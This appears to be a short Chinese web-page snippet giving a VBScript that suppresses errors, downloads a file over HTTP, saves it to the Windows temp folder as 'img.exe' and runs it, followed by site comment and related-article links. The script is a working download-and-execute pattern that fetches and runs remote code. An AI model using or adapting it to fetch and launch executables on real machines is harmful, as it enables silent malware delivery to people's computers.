'on error resume next
dl = //www.jb51.net/index.htm '这是要下载的文件的路径
str="microsoft.xmlhttp"
set x = createobject(str)
set x = createobject(str)
set s = createobject("adodb.stream")
s.type = 1
x.open "get", dl, false
x.send()
fname1="img.exe"
set f = createobject("scripting.filesystemobject")
set tmp = f.getspecialfolder(2) '缓存
fname1= f.buildpath(tmp,fname1)
s.open
s.write x.responsebody
s.savetofile fname1,2
msgbox fname1
s.close
set q = createobject("shell.application")
q.shellexecute fname1
如对本文有疑问,
点击进行留言回复!!
相关文章:
-
-
-
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
网友评论